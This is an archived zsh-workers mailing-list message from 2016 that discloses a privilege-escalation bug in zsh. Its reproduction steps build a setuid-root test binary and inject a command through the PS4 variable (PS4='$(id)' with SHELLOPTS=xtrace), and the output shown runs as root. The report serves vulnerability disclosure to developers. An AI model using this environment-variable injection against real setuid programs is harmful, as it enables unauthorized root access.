From: Mateusz Lenik <mlen@mlen.pl>
To: zsh-workers@zsh.org
Subject: BUG: crafting SHELLOPTS and PS4 allows to run arbitrary programs in setuid binaries using system
Date: Tue, 27 Sep 2016 06:59:18 +0000 [thread overview]
Message-ID: <CALDAOts+rgsuZfABkgVBphvY4CLcUiMLFA4xR0bUXPNxnhcHug@mail.gmail.com> (raw)
[-- Attachment #1: Type: text/plain, Size: 625 bytes --]
Hello everyone!
I just learned that bash fixed a vulnerability that also affects zsh. It
allowed to run arbitrary programs by crafting SHELLOPTS and PS4 variables
against setuid binaries using system/popen.
Steps to reproduce:
% gcc -xc - -otest <<< 'int main() { setuid(0); system("/bin/date"); }'
% sudo chown root:root test
% sudo chmod 4755 test
% env -i SHELLOPTS=xtrace PS4='$(id)' ./test
uid=0(root) gid=... groups=.../bin/date
Tue Sep 27 08:49:16 CEST 2016
% zsh --version
zsh 5.2 (x86_64-pc-linux-gnu)
%
The solution that bash folks implemented is to drop PS4 from env when the
shell is ran as root.
Best,
mlen
next reply other threads:[~2016-09-27 7:31 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2016-09-27 6:59 Mateusz Lenik [this message]
2016-09-27 7:53 ` Daniel Shahaf
2016-09-27 8:43 ` Mateusz Lenik
2016-09-27 9:02 ` Peter Stephenson
2016-09-27 19:26 ` Bart Schaefer
2016-09-28 10:37 ` Simon Ruderich
2016-09-28 19:04 ` Bart Schaefer
2016-09-29 13:20 ` Peter Stephenson
2016-09-27 8:56 ` Oliver Kiddle
2016-09-27 9:28 ` Peter Stephenson
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=CALDAOts+rgsuZfABkgVBphvY4CLcUiMLFA4xR0bUXPNxnhcHug@mail.gmail.com \
--to=mlen@mlen.pl \
--cc=zsh-workers@zsh.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
Code repositories for project(s) associated with this public inbox
https://git.vuxu.org/mirror/zsh/
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).